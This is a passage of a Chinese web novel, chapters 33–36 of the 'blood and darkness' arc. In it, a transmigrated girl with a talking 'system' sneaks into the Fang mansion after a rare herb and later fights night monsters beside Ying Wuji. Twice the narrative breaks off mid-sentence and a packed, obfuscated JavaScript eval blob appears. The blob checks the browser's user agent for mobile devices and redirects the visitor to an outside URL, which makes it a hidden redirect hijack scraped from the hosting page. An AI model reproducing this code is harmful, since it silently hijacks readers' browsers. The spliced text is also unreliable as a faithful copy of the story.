这门大开着,怎么看都很不对劲吧。她咽了咽口水,还是决定冒险一试。 反正就只是进去看看,先去探探路。她这样想着,偷偷摸摸进了大门。 刚走过几个拐角,柳沅就迎面碰上了一个穿着红衣,扎着大红花的丫鬟。她下意识后退,拔腿就跑,谁料丫鬟比她速度更快,一把拉住她的胳膊,把她拽了回来。 “你跑什么,大小姐明日就要出嫁了,你快些过来帮着收拾东西。”丫鬟瞪了她一眼,一边说一边把她往前拉。 不对,她没发现自己不是方府的人?柳沅惊讶地望着丫鬟,踉跄着跟着丫鬟的步伐往前走。 期间,她低头去看自己的衣服,惊讶地发现竟然和丫鬟穿的一模一样。可她分明记得自己出来时穿的是那身烟粉色的衣裳。 怎么会突然变了呢? 顾不上多想,丫鬟已经把她拉到了一间花团锦簇的院子里,指了指堆在院子走廊上的箱子,不耐烦道:“快去把这些东西都搬走了,小姐走路本就不方便,这样更是碍事了。” 柳沅被使唤的一愣一愣的,忙搬起一个箱子,朝着丫鬟说的库房的方向走去。 小姐走路不方便?她琢磨着这话的意思,推测这大小姐可能是个瘸子,又或者,腿受了伤? 33. 血与暗(3) 而她一路走来,看见方府四处张灯结彩,到处贴着喜字。 不对吧。她想起之前听到的告示内容,是说方家大小姐身患恶疾,需寻医医治,可怎么又会突然办喜事呢? 一般的人家都不会在病中办喜事吧?更何况方家这样显赫的家族。 更奇怪的是,她一路走来,几乎没看到几个人。偶然经过的人无一例外都面色惨白,目光呆滞,急匆匆地与她擦肩而过。 奇怪,真是奇怪。柳沅抱着箱子,不住地摇头。 到了地方,她四处寻找都没看见管家,只能随便寻了个位置将箱子放好。然后四处观察,确定没人后,关上了库房的门。 “系统,你说的那个甘月草长什么样子?”柳沅扫视着眼前一排排摆放着各种东西的架子,问道。 “像枯草一样的根茎,但叶子是红色的,还能在黑暗中发光。”系统说道。 柳沅一愣,指着摆放在自己面前的药材,迟疑问道:“是这个吗?” 她面前恰好就摆放着符合系统描述的药材。 “咦,真是甘月草!宿主,咱们今天的运气不错啊。”系统吃惊道。 不对。柳沅突然有种强烈的不安,凝视着这颗暗自发光的药材,心中警铃大作。 不对,这么珍贵的药材就这么明晃晃地放在这么显眼的地方,一定是陷阱。 果然,下一刻,库门被大力踹开,一群拿着武器的家丁一拥而上,把柳沅团团围住。那原来吩咐她拿东西的丫鬟走了出来,面无表情地指着柳沅,对家丁说道:“抓住了,这下你们该信我了,能让我见小姐了吗?” “什么意思,你们干什么?凭什么抓我?”柳沅挣扎着,竟然将那几个家丁统统震开。她也惊讶于自己的力量,短暂的惊慌之后,她冷静下来,挺直胸膛,警惕地望着丫鬟和家丁们。 那丫鬟没想到她能挣脱,脸上闪过一丝怨毒,随后大喊道:“她是修仙者,只有修仙者才能突破方府的阵法,潜入家中。她才是伤害小姐的罪魁祸首!” 她的声音很大,柳沅唯恐她引来更多的人,匆忙跨过地上躺着的家丁们,往外跑去。她刚跑到库房前的小路上,就见不远处来了乌泱泱的一群人,都穿着家丁们的衣服,挥舞着木棍就朝她冲来。 这简直是第一视角的丧尸围城,柳沅卯足一口气,拼了命往前跑,在系统的指引下东奔西跑,绕了不知道多少个弯,才甩掉那群人。 此时,她正站在湖边的树林里,弯下腰不停地喘着气。 不远处的亭子里,站着两个人,似乎是一男一女,柳沅躲在树后,凝神张望着。 距离有些远,但她还是能依稀听到断断续续的谈话声。 “小姐尚在病中……嫁人……” “藤萝院……小姐……一定会好转的……” 藤萝院?大小姐? 柳沅立马敲敲系统,问道:“藤萝院在哪?” 巧的是,这两人话中小姐所在的藤萝院,离柳沅所在的地方很近,就在水池的最边上。 “其实我们只要偷偷回去拿走药材就可以了。”系统委婉道。 柳沅摇摇头,沉声道:“恐怕方府的事情没有这么简单,那药材似乎是诱饵,暂时不能回去,先看看那位大小姐究竟出了什么事。” 这方府处处透着诡异和不合常理,他们人多势众,她现在最重要的是保证自己能自由行走,若是被当成替罪羊被抓住了,那什么都做不成了。 柳沅看了一眼天色,刚到正午。 还有时间,她深吸一口气,顺着系统的指引往藤萝院赶去。 藤萝院 方大小姐坐在铜镜前,望着镜中的自己出神。 一双手轻轻搭在了她的肩上,贴身丫鬟春儿的脸出现在镜中,打断了她的思绪。 “怎么了?小姐看上去不大开心?”春儿一边笑着,一边拿起大小姐垂在一旁的头发,帮她梳头。 方大小姐有一双夺人心魄的美眸,只需要轻轻抬眼望一望对方,就会让人心生怜悯。 此时,她略有些不自在地垂下头,轻声道:“女子要出嫁,自然会紧张。” 闻言,春儿微微一笑,一只手拢住她的头发,另一只手轻轻拂过她的脸颊。 “没事的,”她笑得很温柔,“我们家大小姐这么好看的容貌,一定能赢得未来姑爷的芳心。” 柳沅急匆匆走到藤萝院时,正好看见一个丫鬟搀扶着一个穿着粉色衣裙的美丽女子从院中出来。那女子脸颊红润,脚步坚定,根本不像身患重病的样子。 这让柳沅大吃一惊。 “既然没病,为什么又要寻医?”她满腹狐疑,悄悄跟在那两人后面。 只见那两人拐进了一间更大的屋子,从外面看,屋子里乌泱泱坐了好多人。柳沅寻思这应该是方府的大厅,正四处观察,就发现刚才那个污蔑她的丫鬟,正被一群人压着,往大厅里去。 柳沅侧身躲进一旁的花丛中,这才没被发现。 等那群人过去后,她刚要出来,又听见了一阵脚步声,连忙缩了回去。 来者是……她猛然瞪大了眼睛,来人穿着一身白衣,戴着白色帏帽,这不就是李怀朔吗?更让她吃惊的是,贺听舟跟在李怀朔的身后,也往这边来。 两人似乎并不太熟,贺听舟很不老实地走着,左看看右看看,似乎在找机会溜出去。李怀朔回头,警告似地看了她一眼,贺听舟这才装出一副老实的样子,继续往前走。 贺听舟是入梦人,李怀朔却能让她言听计从,那必然是更高一级的修仙者。柳沅飞快分析着目前的情况,感觉有些不妙。 牵扯到修仙者的一般都不是什么简单安全的事情。 她正出神,左手突然被晃动的树枝剐蹭了一下,紧接着,一团人影迅速窜了过来。 柳沅身体一僵,能感觉到对方也身体一僵。 她缓缓转过头,对方也缓缓转过头。 四目相对。 贺听舟惊叫一声:“柳沅,你怎么在这里?!” 柳沅也没想到能和她打个照面,警惕之下还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17020708|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是捂住了她的嘴巴,对着她摇了摇头。 与此同时,院内突然传来一声怒喝。 “你这贱婢,故意引妖邪入府残害小姐,人证物证皆在,你拿什么狡辩?!” 从柳沅的角度看过去,一个穿着华贵的中年男人拍桌而起,面目狰狞地大吼着。 “这人,就是方府老爷,镇上出了名的暴发户。”贺听舟凑到她耳边,解释道。 柳沅转头,疑惑问道:“你怎么会在这里,入梦人还会管别人的家务事吗?” 贺听舟也是愁眉苦脸,不满道:“我是跟着我那个头头来的,他和这方家老爷有私交,受方老爷之托来抓妖。” “可那方大小姐根本就没病,看上去也没不对劲,怎么和妖怪扯上关系的?”她仍是一头雾水。 “前几日一个散修拿着告示进了方家,治好了方小姐那病,但不过几天,又发生了怪事。”贺听舟神神叨叨道。 就在这时,院子里突然传来刺耳的尖叫和哭喊。贺听舟顿时身体紧绷,唰的一下就冲了出去。 柳沅目瞪口呆地望着她离去的背影,发现院子里已经乱成了一锅粥。那丫鬟躺倒在地,身下流了一滩血迹。 她的眼睛还睁着,直勾勾地盯着院外,好像是…… 柳沅心底一凉。 她在盯着自己! 那眼神怨毒又不甘,带着无尽的诅咒。 簌簌——是衣服被风吹动的声音,柳沅猛地回头望去。 只见不远处的屋顶上站着个人,身形模糊,还没等她看清,那人便消失不见了。柳沅回过头,心扑通扑通直跳。 那种奇怪的感觉更浓了,好像四周突然冷了下来,柳沅控制不住地打了个寒颤,有种拔腿就跑的冲动。 又看了一眼天色,大概是下午了。 她该回去了。 好在院子里的乱象蔓延到了整个方府,她在没引起任何人注意的情况下溜了出去。一到人来人往的大街上,她就重重地呼了口气。 往常总是觉得烦人的吆喝声,在此刻是那么动听,街道上的鲜活和方府的死寂形成了鲜明的对比,如果不是任务要求,她再也不想去那个奇怪的地方。 柳沅拢好衣服,刚要往城门外走,就被一个陌生男人拦了下来。她诧异地望向来者,发现对方满脸堆笑,谄媚道:“您是方府的贵人吧?” 方府的贵人?柳沅下意识看了看自己的穿着,依旧是那身方府统一的丫鬟服。思考了一阵,她点点头。 “那您能帮我进去给方家少爷托个信吗?他欠了我……”话还没说完,路边突然冒出几个凶神恶煞的壮汉,把柳沅和这个男人团团围住。 那群壮汉看了柳沅一眼,粗暴地推开她,把男人一拉,就要把人拖走。 “我不说了,我不说了,方家没有少爷,没有,是我记错了,是我记错了!” 如此这般,男人说了三遍这样的话,那群壮汉才就此作罢。柳沅缩在墙角,尽量降低自己的存在感,等到壮汉消失在人群中,那个男人也不见了。 34. 血与暗(4) 所以,柳沅一边往回走,一边思考,方家少爷为什么不能提? 方家发生的这件事会和这位神秘的方家少爷有关吗? 诸多问题一股脑地全冒了出来,柳沅思考入了迷,不知不觉往前走,突然,一道蓝色的身影匆匆掠过,把她从思维的漩涡中拉了出来。 竟然是应无霁! 柳沅忙刹住脚步,跟了上去。应无霁走的很快,街上人又多,柳沅有好几次都差点跟丢。总之兜兜转转,弯弯绕绕,应无霁总算停了下来。 但在他的对面,站着一个陌生的年轻男子。 男子长相俊秀,气质温文尔雅,望向应无霁的眼神里全是温柔。柳沅只看了一眼,浑身上下的神经就全部绷紧了。 这人应该就是应无霁这几天来一直见的散修了。而且她敢百分之一百肯定,这人对她娘亲有意思。 没有人会用那样含情脉脉的眼神望着一个自己不喜欢的人。 柳沅暗暗握紧了拳头。 应无霁从口袋里拿出银子,递给他。 散修笑着接过,递给应无霁一张纸条。 “我听闻今早有一入梦人失踪了,镇上最近不太太平,姑娘你一个人来的话千万要注意安全。” 应无霁淡淡地看他一眼,点头。 散修朝他笑笑,从身后取出一个小木盒,递给他。 “你的符咒很好用,我用这卖了不少钱呢,但你只是找我问一些无关紧要的消息,我心里过意不去,所以买了些小东西,你看喜不喜欢。”说着,散修把木盒打开,里面满满的都是黄金首饰。 应无霁没什么反应,倒是不远处的柳沅咬牙切齿,急匆匆地冲了过来。 只见一道红色的身影闪过,应无霁眼前一花,已经被一个熟悉的身影护在了身后。 木盒子被打翻在地,黄金首饰四处散落。 “你这人从哪里冒出来的?怎么随便打翻别人的东西?”散修惊叫着,忙蹲下身去捡那些首饰。 柳沅二话不说就要拉着应无霁走,却被他避开了。她震惊地回头,正好看见应无霁又往后退了一步。 冷静,冷静。柳沅在心里劝说自己。 别生气,这有什么好生气的,你只要拆散他们就可以了,没事的,这样短暂的感情都是很脆弱的,很容易被拆散的。而且你和娘亲的关系更近,她又是个善良心软的傻白甜,很好拆散的。 很好拆散的。 柳沅反复给自己洗脑,终于平复好了情绪,没有当场质问应无霁。 散修已经把首饰全都放回了盒子,还想去拉应无霁,被柳沅一巴掌拍开。 他彻底怒了,指着她呵斥道:“你到底是谁啊,我和这位姑娘说话你插进来干什么?我还没找你算扔我盒子的账呢,你又要干什么?” 柳沅叉着腰,气势汹汹地望着他,冷笑一声:“你管我是谁呢,我就是看你不爽,怎么了?” 看着这男的脾气挺暴躁的,柳沅这是故意激他,要是他当着应无霁的面对她做出了什么出格的举动…… 嘿嘿嘿,柳沅已经开始幻想两人反目成仇的情景了。她甚至闭上了眼睛,期待着这散修一拳打上来。 等了一会儿,什么事情都没发生。柳沅睁开眼,发现散修倒在地上,应无霁面无表情地从他手上取走木盒,还有刚才付给他的银子,连带着他身上的钱袋,一股脑扔进了柳沅怀里。 散修目瞪口呆地看着应无霁的操作,终于反应过来,捂着腹部大声哭喊:“你们!你们是一伙的!来人,来人,抢劫了!” 虽然他们所在的地方很僻静,但毕竟紧挨着街道,很容易吸引到人。应无霁迅速蹲下身体,果断在散修头上贴了一张符咒,那人顿时噤声,摔倒在地抽搐不止。 随后柳沅感觉脚下一轻,就被应无霁拉着飞上了屋顶。 一阵晕眩中,柳沅被应无霁搂在了怀里。 扑面而来的是那股特殊的香火味道,一点都不呛,带着点雪融化的清新。应无霁放在她腰间的手仿佛一块发热的火钳,存在感十分强烈。 柳沅浑身上下僵成了一块石头,根本不敢动弹。 当脚下再度触碰到实地时,他们已经来到了村口。村庄的天空开始飘起直直的烟,柳沅眨了眨眼睛,有些后知后觉。 头顶被桃木枝敲了敲,她啊了一声,看见应无霁面无表情地朝她伸手。 “什么?”她疑惑。 【刚才扔给你的东西,还给我。】 他冷酷地晃晃手心。 刚才应无霁放倒散修,从他身上抢东西的记忆一下子全回来了,柳沅用一种全新的眼神从头到脚看了他一遍,情不自禁道:“那是你抢的吧?” 话音刚落,她便又感觉头顶一痛,与此同时,怀中一空,再抬眼望去,东西已经回到了应无霁手中。 【不算抢,是他先动手的。】 他一本正经地解释道。 柳沅噗嗤一声笑了出来,随后突然意识到一个绝妙的好消息——娘亲没有喜欢上这个散修,他们只是纯粹的交易关系。 应无霁经常找这个散修买东西,所以柳沅才会常常看见他们在一起。是这个散修纯单恋应无霁,应无霁根本对他没感觉。 这简直是天大的好消息! 柳沅感觉压在自己心口的那块大石头终于落下了。 此时,应无霁慢慢悠悠地晃到她身旁,意味深长地看了她一眼。 【你不会以为我和那个散修有什么其他的关系吧?】 这句话出现在面前的一瞬间,柳沅啪嗒一声捂住了脸。 “我没有,我怎么可能会那么想。”她狡辩道。 应无霁若有所思地点点头,抱着东西晃回了原来的位置。柳沅却从手指缝中看见了他微微扬起的嘴角。 “你在笑对不对?”她向前一步,指着应无霁的脸,嚷嚷道。 应无霁憋住笑,别过脸,郑重其事地摇摇头。 柳沅却不信,非要亲眼看看才作罢,但应无霁像是故意惹她生气,怎么都不肯转过脸来。 柳沅不看到不罢休,用尽方法专门找应无霁看不见的死角绕来绕去。 应无霁身形敏捷地躲开柳沅抓他衣 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柳沅望向天空上缓缓飘过的白云,深深地叹了一口气。 一只脑袋慢慢晃了上来,应无霁弯腰,看着躺在地上的柳沅,微微一笑。 “你不是走了吗?还回来干什么?”柳沅不想理他,翻了个身,没好气道。 应无霁也随着她的动作换了个地方,那张脸依旧出现在她的视野里。从这个角度看,他依旧漂亮的惊人,柳沅完全无法忽略眼前的这个人,但又不能在心里咒骂他,只能窝窝囊囊地起身,又差点和应无霁迎面相撞。 两人之间的距离极近,近到柳沅能看见应无霁皮肤上的绒毛。她瞪着他,等他先让开。 但应无霁就是不让,仔仔细细观察着柳沅,从眼睛到鼻子再到嘴巴。柳沅受不了这样密切的注视,翻了个白眼把他推开。 她正站起身整理衣服,眼前突然出现了一行字:没见你穿过这件衣服。 这句话让她手上的动作一顿。 差点忘了,她现在还穿着方家丫鬟的衣服。柳沅心里一惊,抬眼瞧瞧去看应无霁的神情,见他依旧是那副淡淡的样子,松了口气。 应无霁不常去镇上,也不会和方家有什么联系,应该不会知道她去了方家。柳沅甚至想到了一种更坏的情况,就算应无霁知道了也没事,又不会知道她的目的。 想到这里,她撒谎道:“这是那天去镇上买的,没穿过,今天正好拿出来穿了。” 好在应无霁并没有多问,只是多看了她几眼,又莫名奇妙撞了她一下,才继续往前走。 柳沅被他这么一撞,差点吻上大地,回头想找人算账,应无霁已经走出老远了。 忍,我忍。她不停地在心里告诉自己,只要任务成功,只是为了任务…… “哎,等等我。你别走那么快!”她提起裙子,迈着大步往应无霁身后跟去。 两人回到家时,差不多是黄昏了。夕阳的余晖倒映在院子后面的河面上,漂亮极了。 35. 血与暗(5) 应无霁一反常态地没有立即钻进房间,径直往院子后面的河边走去。柳沅也跟了上去,发现他在河边找了个地方坐下,撑着头望向远处,似乎在等人。 柳沅那刚从心中沉没的警惕又浮了上来,试探性地问道:“你是在等谁啊?” 应无霁一动不动地盯着河边的枯草,嘴角荡开一抹浅淡的笑意。 【小青。】 不对。她心中警铃大作,不对。 这几天被那个散修打乱了节奏,柳沅差点忘记这个威胁最大的小青了。这个名字屡次出现在应无霁的话里,那就说明了这人的不一般。 应无霁这么冷淡的性格,能把一个名字记在心底,那一定是对他很重要的。更重要的是,那散修和应无霁相处了那么久都不知道他家在哪,而这个小青…… “不行!你不能和他见面!”柳沅突然大声道。 应无霁微微愣了一下,瞟了她一眼,当作没听到,继续撑着脑袋望向远处。这下柳沅更慌了,连忙敲了敲系统:“怎么办?她不会真有喜欢的人了吧?我是不是马上拆散他们?” 系统还没说话,她就看见应无霁的嘴角明显上扬了一个弧度,顺着他看的方向望去,空无一人。 怎么回事?难道那人也是修仙的,用了隐身术?柳沅正着急又纳闷,就看见应无霁站了起来,伸出右手往空中轻轻一放。 一只通体绿色的蜻蜓轻轻地停在了他的食指上。 柳沅傻眼了。 偏偏应无霁一手托着蜻蜓,刻意经过她身边,往后门的门槛走去。她看见他很明显地弯了弯眼睛,好像是笑了。 “呃,”系统在此时发出一声尴尬的长鸣,“只是蜻蜓而已……” 柳沅只想立马找个地缝钻进去。 应无霁歪头望着手指上可爱小巧的蜻蜓,笑容是从所未有的温柔。柳沅走近了点,脑子一抽,突然心想,这蜻蜓不会是什么障眼法,其实本体是个修成人形的妖怪吧,又或者这不会是应无霁和对方的秘密暗号? 这边她脑子里一片混乱,偏偏院门处又传来一声熟悉的喊叫。柳沅烦躁地捋捋袖子,朝应无霁身后望去,发现是贺听舟。 她拿着那法宝木碗,眼巴巴地往院子里看,看到应无霁和柳沅之后,眼睛突然亮了。 “哎,我今天在方府看到你了,你怎么去那……”贺听舟急急忙忙跑过来,兴奋地给柳沅打招呼,但话没说完,就被柳沅一个滑步飞奔到面前,强制捂住了嘴。 “唔唔唔……”贺听舟瞪大了眼睛,无助地望向应无霁。后者淡淡地移开了视线,一副事不关己的样子。贺听舟只好不停地挣扎,直到柳沅松开手。 害怕她又说出些什么话来,柳沅忙把她拉到前院,小声道:“你来干嘛?” 贺听舟也反应过来她不想让应无霁知道她去过方府的事情,压低了声音:“我来是告诉你,明日方府大小姐出嫁,到时候会有好多好吃的,我邀你同去啊。” “你怎么就知道吃。”柳沅恨铁不成钢地锤了她一下,贺听舟傻笑几声,又凑到她耳边,悄悄道:“我听说哈,那方家大小姐其实根本就没病,是有喜了!” “啊?!”接收到的信息太炸裂,柳沅一时间没忍住,惊叫了一声。应无霁听到了,往两人扫了一眼,又若无其事地继续去看手指上的蜻蜓。 “我不是和我那个头头一起去了方府吗?听说那丫鬟偷偷和未来姑爷有一腿,这才被小姐厌恶,故意做局,说那丫鬟动用邪术害她,让这丫鬟身败名裂,让未来姑爷厌恶她。”贺听舟继续说道,“方家为了不让小姐有喜的丑闻传出去,只能假装女儿得了怪病,要遍寻名医为她医治。” “这不对吧,我见过那大小姐,看上去挺温柔的人,怎么会这么恶毒呢?”柳沅不可置信道。 贺听舟耸耸肩,说:“谁知道呢,爱情有时会让人变得面目全非呢。” 这句话像一根针,突然刺中了柳沅。她突然想起来,系统说的原书中自己爹娘的狗血爱情故事,还有她这个角色对反派的狗血单恋。 一想着应无霁这样冷冷淡淡的人会因为这所谓的爱情变成她不认识的模样,柳沅就控制不住地恶寒。她下意识去看应无霁,却发现他也在看自己。 两人对视一秒,又迅速移开视线。 贺听舟晃着装满白米饭的木碗,期待地望着柳沅:“不过你什么时候给我尝尝你做的菜?我都准备好了。” 柳沅此时心里乱乱的,敷衍道:“下次,下次。” “啊?今天不行吗?”贺听舟失望问道。 “明天去方府吃,今天随便对付一下就行了。”柳沅道。 两人约定明天一起去方府混饭吃,贺听舟又在院子里呆了一会,和柳沅说了下散骨魂的事情,就告辞了。 黑暗带着寒意慢慢降临,应无霁轻轻荡荡手指,把小青送走,然后转身,望向柳沅。 柳沅也在偷偷看他,看见应无霁转头,突然直起背,欲盖弥彰地轻咳一声。 应无霁绕过她,往厨房走去,过了一会儿,竟然端出一碗热腾腾的面来。 他把那碗面端到石桌上,朝柳沅看了一眼。 “给我的?”她惊讶地指着自己,夸张地问道。应无霁用看傻子的眼神扫视了她一眼,什么话都没说,走到旁边的树边坐下。 天边开始出现月轮朦胧的轮廓,院子里有些暗,柳沅冷的缩紧了脖子,有点困难地凑近了桌面,去看那碗面。 突然,左手边有些细碎的光亮,不大不小,正好够她拿起筷子,夹住面条。她飞快地吃了一口,转头望向应无霁。 只见他掌心平放着,上面亮闪闪的,细细去看,那些光点还会移动。柳沅咽下嘴里的面条,惊讶地发现那些小光点是萤火虫。 “这是哪来的?”她惊讶问道。 应无霁微微抬起下巴,那双雾蒙蒙的眼睛里化开一抹笑意,但唇角绷得很直,带着一点骄傲,又带着一点傲气。 【是小青带过来的。它们很喜欢我。】 他的样子实在得意,还特意抬高了手掌,让那萤火虫的光亮更深地照进柳沅身边。 “还小青带给我的,它们很喜欢我~好骄傲哦。”柳沅模仿着应无霁的语气,有些酸地说给系统听。 “宿主你是不是嫉妒娘亲吸引小动物了?”系统憋着笑,道。 “才不是,”柳沅又狠狠咬了一口面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040514|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“谁能想到小青竟然是一只蜻蜓。” 刚说完,她突然想起来应无霁有把她和小青对比过。 他当时怎么说来着?好像是说她比小青有意思吧? 什么意思?把她和一只蜻蜓比? 一股无名火从心里升起,她狠狠戳了下面条,滚烫的汤汁顿时溅上手背,烫的她嘶了一声。应无霁听见动静,逗弄萤火虫的动作顿了顿,随后柳沅的眼前出现了一行字。 【别玩了,快点吃,马上天黑了。】 在他眼里,自己被烫到就是因为在玩面条?柳沅万分震惊地抬起头,一时间都忘记了生气。应无霁见她还是一副发愣的样子,皱了皱眉头,右手轻轻晃了晃,柳沅就感觉头被什么东西打了下。 抬头一看,又是那根桃木枝。 她捂着头,咬牙切齿地质问道:“干嘛打我?!” 应无霁露出一个毫无温度的微笑,写道:专心吃饭。 【不要玩面条,那是吃的。】 “我当然知道那是吃的!”柳沅咆哮道,“我只是被烫到了!” 【哦。】应无霁十分冷酷地留给柳沅一个发顶,低下头专心去看手心的萤火虫。在萤火虫微弱的光亮中,她圆圆的眼睛闪烁着火焰般的光芒。 纯被气的。 柳沅冷笑一声,埋头开始风暴式卷入面条。过了一会儿,她吃完面收拾好碗筷,从厨房里出来时,发现应无霁依旧坐在树下。 夜风带着枯叶从枝头飘落,掉在他的头顶,又被翘起的呆毛顶了下去。 她装作什么都没看见,故意从他面前绕过去,走路掀起的风正好将那落叶吹走,落在他手边。应无霁放开栖息在手掌上的萤火虫,捡起那片叶子,对着柳沅的背影轻轻一扔。 经过他手的叶子仿佛有了魔法,竟然逆着风吹的轨迹,啪嗒一下贴在了柳沅的前额。 她唰的一下转身,气冲冲地走到应无霁面前,瞪着他:“你又要干嘛?” 好死不死的,系统又在此时跳出来,警告道:“请宿主注意自己对娘亲的态度,娘亲的伤还没好,需要静心休养,请不要让娘亲感觉到你的不耐烦。” 这只是在完成任务,只是任务,只是任务。柳沅,只是任务,不要生气,不要生气。 如此这般,念叨了不知道多少遍不要生气她才冷静下来,调整好表情,对着应无霁露出一个毫无温度的笑容,阴阳怪气道:“请问您又要干什么呢?” 应无霁抬头,狭长的眼睛轻轻一弯,同时一阵劲风从柳沅耳边刮过。 鼻尖突然传来明显的血腥味。她猛然睁大了眼睛。 应无霁依旧坐在树下,左手搭在屈着的左腿上,右手则拿着一截沾满鲜血的桃木枝。他厌恶地甩掉那些血珠,冷淡地看了呆在原地的柳沅一眼。 【回去】 他缓缓站起,黑中透蓝的瞳孔微微颤动,清楚地倒映出柳沅身后黑压压的怪物。 铺天盖地。 尽管她背对着那群怪物,但依旧能感受到那浓郁的死亡气息。 应无霁脚尖轻点,一个空中翻斗,落在了柳沅身后。 他望着那群贪婪的怪物,轻轻皱了皱眉。 36. 血与暗(6) 偏偏这时系统又跑出来警告道:“请宿主守护在娘亲左右,保护她不受怪物伤害。” “马上天黑了,我会晕过去吧,留在这里真的不会给她添乱吗?”柳沅疑惑道。 话音刚落,她就又感觉到了那股无法抵挡的困意,站在原地踉跄了一下,险些昏过去。 “如果宿主选择主动扔下娘亲,系统将不会帮助宿主消除萤神只留下的印记,请宿主谨慎选择。”系统冷冰冰道。 这还能怎么办,柳沅深深地叹了一口气,认命地转身,嘟囔了句命苦。 此时,黑夜已经彻底降临,白天温馨的院子被各种奇形怪状的妖魔鬼怪占据,应无霁单薄的背影在这样的情形下显得越发脆弱。 柳沅心中发紧,有点担心地望向他。 风吹的应无霁的衣摆纷飞,那穿旧的湖蓝色长衫在一众浓重的黑色中格外显眼。他伸出左手,袖子被吹开,露出那串柳沅硬塞给他的桃木手串。 【回去。】 柳沅发现眼前出现了一行字,但还没等她做出任何反应,那盘踞在空中的长条形蛇状生物就咻的一下朝应无霁飞去。 “小心!”她大喊一声,条件反射地蹲下抱头。 紧接着,应无霁手中白光一闪,那敲过她头无数次的桃木枝仿若夺命神器,轻巧地穿梭在张牙舞爪的怪物中间。一时间血光漫天,肉块劈里啪啦落了一地,有几块还蠕动着,爬到柳沅脚边。 虽然这怪物被劈成了零碎的肉块,但肉块上竟然长出了人脸,还发出了人的声音。 “小姑娘,我这有个秘密,你要不要听?”那肉块发出的声音像是从很远的地方传来的,带着浓重的回声。 柳沅诧异地看了这鬼东西一眼,毫不留情地一脚踢开。 当她是傻子呢。 这种危急情况下,她怎么可能信这东西的鬼话? 这些怪物的智商实在是堪忧。 肉块咕噜咕噜滚到远处,气急败坏地尖叫道:“我传给你的是神谕,可以快速提升修为的秘法,你这个不知好歹的蠢货!” 话音刚落,一只脚毫不留情地踩碎了肉块。柳沅抬头望去,发现是应无霁。 【这些怪物说的话都不要信。】 他只留下这么一段话,就又迅速投入了战场,和那群怪物厮杀起来。 柳沅目瞪口呆地望着他敏捷自如的动作,在心里啧啧称奇。 “没想到我这娘亲看着弱不禁风,武力值这么高?”她对系统道,同时默默在心里盘算以后遇见反派,娘亲护住自己的可能性。 系统早就看穿了她的想法,幽幽道:“原书中的最强战力就是反派,现在剧情崩坏发生,说不定娘亲的实力真的能超过反派。宿主你加把劲,多增进一下你和她之间的感情,说不定不用躲反派就能成功活到任务完成。” 柳沅也正有此意,美滋滋地蹲在一旁,默默数着应无霁杀了多少只怪物。 渐渐的,眼皮越来越重,她恍惚了一阵,差点一头栽倒。 “不行了,我真撑不住了。系统,你真的要让我在这里守着她一整夜吗?”柳沅不满道。 系统没说话,她扶着昏昏沉沉的脑袋,想站起来醒醒神,却突然发现四周变得无比寂静。 风声,怪物挤在一起的呜咽声,甚至应无霁动作时衣料的摩擦声,全都消失了。 她迷迷糊糊地睁开眼睛,朝地上看了看,发现了血。 一滴接着一滴的血。 细小的血珠连成一条线,指引着柳沅走到应无霁身边。他动作僵硬,一动不动地任凭那怪物啃食自己的肩膀。 虽然她被困意缠绕,快晕过去了,还是冲了上去,一把把应无霁从那群怪物中拉了出来。 “你不是……不是很厉害吗?为什么,为什么不反抗?”柳沅说这句话时眼前天旋地转,什么也看不清,甚至因为害怕自己摔倒在地,紧紧抓住了应无霁受伤的肩膀。 手指上沾满粘稠的血液,柳沅糨糊般的脑子这才反应过来,慌张地放开了手。 应无霁没有说话,只是抓住了她的肩膀,调换了两人的位置,替她挡住了又冲上来的怪物。 这只怪物扭曲的脸上挂着一只长长的舌头,贪婪地舔食了应无霁裸露在外的血肉,发出一声满足的喟叹。应无霁脸上露出痛苦的神色,眉毛深深地皱在了一起,但依旧没有反抗。 柳沅眼睁睁看着这怪物吃掉他的血肉,蠢蠢欲动还要得寸进尺,忍无可忍地一拳打过去,竟然把那怪物打飞了。 更奇怪的是,在被怪物围攻的过程中,她看见了刚才被应无霁杀死的妖怪。 不是吧,这些怪物还能复活的吗?惊愕之中,应无霁再度和她调换位置,又为她挡下了怪物的偷袭。这回,伤口在左脸。 柳沅亲眼看见他完美无瑕的左脸被怪物挠出了一道刺眼的伤口,火气蹭的一下就上来了。 而此时,系统的警告声再次响起:“警告,娘亲受到伤害,电击惩罚准备中,惩罚强度,初级。” 好巧不巧,那些怪物都看准了明显更弱势的柳沅,不停地对她进行偷袭,应无霁每次都用自己的身体去挡,这导致柳沅拉着应无霁回到房间,狼狈不堪地关上门时,系统的电击惩罚已经到达最高级。 柳沅坐在地上,额头上还沾着应无霁身上的血,崩溃地捂住了眼睛。 “你其实可以不用管我,保护好自己就够了。”她几乎是带着哭腔说出的这句话。 娘亲啊,我知道你是好意保护我,但是,但是!柳沅一想到前几次的系统电击惩罚,恨不得现在立马冲出去喂怪物。 那根本不是人能承受的痛苦。 应无霁身上的衣服已经碎成碎片了,血不停地从伤口中流出来,流到地板上,让整个房间看起来犹如凶案现场。 柳沅垂头丧气地抬头,突然,目光在应无霁的胸前顿了顿。 不对。她死死地盯着他瘪下去的胸口。 不对。 而应无霁只是淡淡地看了她一眼,转过身去。 【你睡吧,没事了。】 